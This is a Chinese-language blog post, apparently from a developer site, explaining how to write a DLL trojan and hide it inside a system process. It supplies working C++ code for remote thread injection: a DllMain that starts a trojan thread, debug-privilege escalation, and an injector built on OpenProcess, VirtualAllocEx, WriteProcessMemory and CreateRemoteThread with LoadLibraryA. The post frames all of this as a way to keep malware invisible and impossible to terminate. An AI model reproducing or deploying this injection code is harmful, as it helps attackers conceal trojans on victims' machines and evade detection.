DLL线程注入思路

DLL木马,开始是在DLLMain()中加代码,但是后来发现不行,上网搜到一片文章,原因是要建立一个新进程。

线程注入木马也算是个不太新的方式了,但是在当时一度成为了恐慌.因为在进程中隐藏,而所注入的进程又是系统关键进程,无法终止.至于其他的木马神马神马吧,都是浮云.
       木马运行关键是隐藏,神不知鬼不觉才是王道.要隐藏,先要隐藏进程,Windows操作系统中程序以进程的方式运行,大多数操作系统也是如此.任务管理器就可以看到当前运行的进程,所以有人HOOK相关枚举进程的函数,让任务管理器不显示木马进程,也有人把自己的木马注册成服务运行,'任务管理器'不显示服务的.这样做只是障眼法,进程还是存在的,最好的方法是让进程不存在,让木马作为其他进程的一个线程来运行.Windows操作系统提出了DLL的概念,其系统API都是通过DLL的形式出现的,应用程序动态链接到DLL来调用API,DLL在内存中只存在一个副本就可以满足不同应用程序的调用了,因此可以把木马写成DLL文件,让他作为进程的一部分运行,最好是系统进程的一部分,一般人很难看到一个进程加载了哪些DLL,也就很难发现这种木马(用IceSword可以看到进程的DLL模块).

一、编写一个DLL木马:
使用IDE : Visual C++ 6.0 Visual Studio.NET
2003/2005都可以.
首先建立一个Win32 Dynamic-Link Library工程.选择 A simple DLL
project建立工程,然后就会看到:
  1. BOOL APIENTRY DllMain( HANDLE hModule, //
  2. 模块句柄.
  3. DWORD ul_reason_for_call, // 调用标志.
  4. LPVOID lpReserved // 返回数据.
  5. )
  6. {
  7. return TRUE;
  8. }
这个是DLL的入口点函数,只能做一些简单的初始化工作.这个函数和WinMain、wWinMain 、_tWinMain、main这四个标准的入口点函数是完全不同的,DllMain会被多次调用,上述四个入口点只被系统调用一次.顺便说一句dll文件结构和exe文件是完全一致的。
  1. DWORD ul_reason_for_call, //
  2. 调用标志.
这个参数由系统传递,用于判断调用DllMain函数时候的状态.可能是以下四个常量:
  1. DLL_PROCESS_ATTACH:
  2. //DLL被进程第一次使用时,就是进程调用LoadLibrary函数时

  3. DLL_THREAD_ATTACH:

  4. DLL_THREAD_DETACH:

  5. DLL_PROCESS_DETACH:
  6. //DLL被释放的时候
判断:当 ul_reason_for_call 等于
DLL_PROCESS_ATTACH
时就新开一个线程启动木马.记住一定要新开一个线程,不能把DllMain当main函数用.
  1. BOOL APIENTRY DllMain( HANDLE
  2. hModule,
  3. DWORD ul_reason_for_call,
  4. LPVOID lpReserved
  5. )
  6. {
  7. switch(ul_reason_for_call)
  8. {
  9. case DLL_PROCESS_ATTACH:
  10. // 启动木马线程.
  11. CreateThread(NULL,0,MainThread,0,0,0);
  12. break;

  13. case DLL_THREAD_ATTACH:
  14. break;

  15. case DLL_THREAD_DETACH:
  16. break;

  17. case DLL_PROCESS_DETACH:
  18. break;
  19. }
  20. return TRUE;
  21. }

  22. DWORD WINAPI MainThread(LPVOID
  23. lpParameter)
  24. {
  25. // 这里就是木马的代码了
  26. ... ...
  27. }
二 DLL木马的启动:

       远程进程插入启动木马:将木马DLL插入运行中的进程空间中,让其运行.
       具体做法是先将系统权限提升到DEBUG模式下,因为只有DEBUG模式才能打开进程句柄.然后用OpenProcess函数远程以
PROCESS_Create_THREAD , PROCESS_VM_OPERATION ,PROCESS_VM_WRITE 的权限打开要插入的进程,得到进程的句柄.用VirtualAllocEx函数给DLL文件的路径分配内存空间,用WriteProcessMemory函数将DLL文件内容写入进程空间中.用CreateRemoteThread函数启动就完成了进程的远程插入。

代码如下:


  1. // 远程插入线程
  2. // char szDllFullPath[] DLL文件完整路径.
  3. // DWORD dwRemoteProcessID 要插入的进程ID号
  4. // 返回: TRUE 插入进程成功
  5. // FALSE 失败
  6. BOOL InjectDll(char szDllFullPath[],DWORD dwRemoteProcessID)
  7. {
  8. HANDLE hRemoteProcess;
  9. if(EnableDebugPriv(SE_DEBUG_NAME) == 0)
  10. {
  11. return FALSE;
  12. }

  13. // 打开远程线程
  14. if((hRemoteProcess = OpenProcess(PROCESS_Create_THREAD |
  15. PROCESS_VM_OPERATION | PROCESS_VM_WRITE,FALSE,dwRemoteProcessID))==
  16. NULL)
  17. {
  18. return FALSE;
  19. }

  20. char * pszLibFileRemote;

  21. //使用VirtualAllocEx函数在远程进程内存地址空间分配DLL文件名缓冲区

  22. pszLibFileRemote = (char *)VirtualAllocEx(
  23. hRemoteProcess,NULL,lstrlen(szDllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);

  24. if(pszLibFileRemote == NULL)
  25. {
  26. return FALSE;
  27. }

  28. if(WriteProcessMemory(hRemoteProcess,pszLibFileRemote,(void
  29. *)szDllFullPath,lstrlen(szDllFullPath)+1,NULL) == 0)
  30. {
  31. return FALSE;
  32. }

  33. PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)
  34. GetProcAddress(GetModuleHandle('Kernel32'),'LoadLibraryA');
  35. if(pfnStartAddr == NULL)
  36. {
  37. return FALSE;
  38. }
  39. // 通过建立远程连接的地址:pfnStartAddr
  40. // 传递参数 pszLibFileRemote 远程启动DLL
  41. // 启动远程线程 LoadLibraryA 通过远程线程调用用户的DLL文件
  42. HANDLE hRemoteThread;
  43. if((hRemoteThread =
  44. CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL))
  45. == NULL)
  46. {
  47. return FALSE;
  48. }
  49. return TRUE;
  50. }

  51. 这个函数也会用到的:




  52. // 获取进程ID号
  53. // 如无此进程则返回 0;
  54. // char szProcName[] 进程名: .exe文件.
  55. DWORD GetProcID(char szProcName[])
  56. {
  57. HANDLE th = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  58. PROCESSENTRY32 pe = {sizeof(pe)};
  59. DWORD dwProcID = 0;

  60. BOOL bOK=Process32First(th,&pe);
  61. while(bOK)
  62. {
  63. bOK = Process32Next(th,&pe);

  64. LPCTSTR lpszExeFile = strrchr(pe.szExeFile,′//′);
  65. if(lpszExeFile == NULL)
  66. lpszExeFile = pe.szExeFile;
  67. else
  68. lpszExeFile++;

  69. if(strcmp(szProcName,lpszExeFile) == 0)
  70. {
  71. dwProcID = pe.th32ProcessID;
  72. break;
  73. }
  74. }

  75. return dwProcID;
  76. }




  77. // 提升系统权限到DEBUG模式
  78. int EnableDebugPriv(char szName[])
  79. {
  80. HANDLE hToken;
  81. TOKEN_PRIVILEGES tp;
  82. LUID luid;

  83. // 打开进程环令牌
  84. if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))

  85. {
  86. return 0;
  87. }
  88. if(!LookupPrivilegeValue(NULL,szName,&luid))
  89. {
  90. return 0;
  91. }
  92. tp.PrivilegeCount = 1;
  93. tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  94. tp.Privileges[0].Luid = luid;
  95. // 调整权限
  96. if(!AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL))

  97. {
  98. return 0;
  99. }

  100. return 1;
  101. }


  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值